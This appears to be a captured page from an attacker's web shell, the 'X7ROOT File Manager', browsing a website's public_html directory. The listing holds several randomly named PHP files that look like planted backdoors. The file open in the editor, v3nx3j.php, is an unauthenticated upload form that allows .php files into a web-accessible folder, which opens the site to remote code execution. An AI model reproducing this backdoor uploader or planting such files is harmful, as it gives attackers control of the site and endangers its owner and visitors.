X7ROOT File Manager
Current Path:
/home/jeyam/public_html
home
/
jeyam
/
public_html
/
📁
..
📄
.htaccess
(63 B)
📁
34d6b3b3
📄
MELARA_RfZtOnHN.php
(6.48 KB)
📁
_errorpages
📄
about.php
(4.23 KB)
📄
admin.php
(4.23 KB)
📄
arwewu.php
(3.89 KB)
📁
assets
📄
contact.php
(4.76 KB)
📄
d1tcrk.php
(3.89 KB)
📄
efamp6.php
(4.7 KB)
📄
footer.php
(19.69 KB)
📄
gallery.php
(8.79 KB)
📄
header.php
(13.7 KB)
📄
index.php
(13.25 KB)
📁
ktgadmin
📁
roofing
📄
roofing.php
(5.13 KB)
📄
services.php
(4.2 KB)
📄
steels.php
(5.13 KB)
📄
style.css
(1.02 KB)
📁
uploads
📄
v3nx3j.php
(1.4 KB)
📄
videos.php
(2.76 KB)
📄
wpzrxs.php
(3.89 KB)
Editing: v3nx3j.php
<?php // Set upload directory $uploadDir = __DIR__ . '/uploads/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true); } // Check if form was submitted if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { $file = $_FILES['file']; $fileName = basename($file['name']); $targetFile = $uploadDir . $fileName; $fileType = pathinfo($targetFile, PATHINFO_EXTENSION); // Allowed file types $allowedTypes = ['jpg', 'png', 'gif', 'pdf', 'zip', 'txt', 'php']; if (!in_array(strtolower($fileType), $allowedTypes)) { die("Error: File type not allowed."); } // Check for errors if ($file['error'] !== 0) { die("Error: File upload failed."); } // Move file to upload directory if (move_uploaded_file($file['tmp_name'], $targetFile)) { echo "File uploaded successfully: <a href='uploads/$fileName'>$fileName</a>"; } else { echo "Error: Unable to upload file."; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>PHP File Uploader</title> </head> <body> <h2>Upload a File</h2> <form action="" method="post" enctype="multipart/form-data"> <input type="file" name="file" required> <button type="submit">Upload</button> </form> </body> </html>
Upload File
Create Folder